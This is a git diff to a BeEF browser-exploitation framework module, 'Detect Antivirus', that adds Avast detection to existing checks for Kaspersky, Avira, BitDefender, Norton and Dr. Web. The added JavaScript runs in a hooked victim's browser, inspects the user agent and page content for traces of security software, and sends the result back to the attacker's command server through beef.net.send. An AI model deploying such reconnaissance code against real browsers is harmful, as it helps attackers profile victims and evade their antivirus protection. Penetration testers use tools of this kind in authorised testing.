diff --git a/modules/host/detect_antivirus/command.js b/modules/host/detect_antivirus/command.js index d198bb6dc..7fbda109f 100644 --- a/modules/host/detect_antivirus/command.js +++ b/modules/host/detect_antivirus/command.js @@ -20,8 +20,11 @@ beef.execute(function() { ka = frm.contentDocument.getElementsByTagName("html")[0].outerHTML; var AV = document.getElementById("abs-top-frame"); var NAV = document.getElementById("coFrameDiv"); + var ASWregexp = new RegExp("ASW\/"); //Detection of av elements ends + if (ASWregexp.test(navigator.userAgent)) + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Avast'); if (ka.indexOf("kasperskylab_antibanner") !== -1) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Kaspersky'); else if (ka.indexOf("netdefender/hui/ndhui.js") !== -1) @@ -37,4 +40,4 @@ beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=DrWeb'); else beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Not Detected'); -}); \ No newline at end of file +}); diff --git a/modules/host/detect_antivirus/config.yaml b/modules/host/detect_antivirus/config.yaml index 576de4e30..7c31fd179 100644 --- a/modules/host/detect_antivirus/config.yaml +++ b/modules/host/detect_antivirus/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Host" name: "Detect Antivirus" - description: "This module detect the javascript code automatically included by some AVs (currently supports detection for Kaspersky, Avira, BitDefender, Norton, Dr. Web)" + description: "This module detect the javascript code automatically included by some AVs (currently supports detection for Kaspersky, Avira, Avast (ASW), BitDefender, Norton, Dr. Web)" authors: ["phosphore","vah13","nbblrr"] target: working: ["ALL"]